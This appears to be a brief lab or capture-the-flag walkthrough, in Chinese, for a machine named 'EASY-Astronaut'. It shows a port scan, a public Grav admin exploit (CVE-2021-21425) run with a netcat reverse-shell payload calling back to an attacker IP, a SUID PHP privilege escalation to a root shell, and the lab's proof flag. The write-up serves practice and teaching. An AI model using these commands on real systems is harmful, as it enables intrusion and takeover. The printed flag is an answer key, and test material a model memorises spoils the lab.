EASY-Astronaut

目标：

192.168.121.12

信息收集：

./rustscan -a 192.168.121.12 --scripts none -r 1-65535

 

Cat flag:

https://github.com/CsEnox/CVE-2021-21425

python3 exploit.py -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.179 80 >/tmp/f' -t http://192.168.121.12/grav-admin

 

 

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

在网址找一下对应的提取poc：

https://gtfobins.github.io/gtfobins/php/#suid

/usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"
cat /root/proof.txt
00300cae34e4ed01c71b8a02feea9cde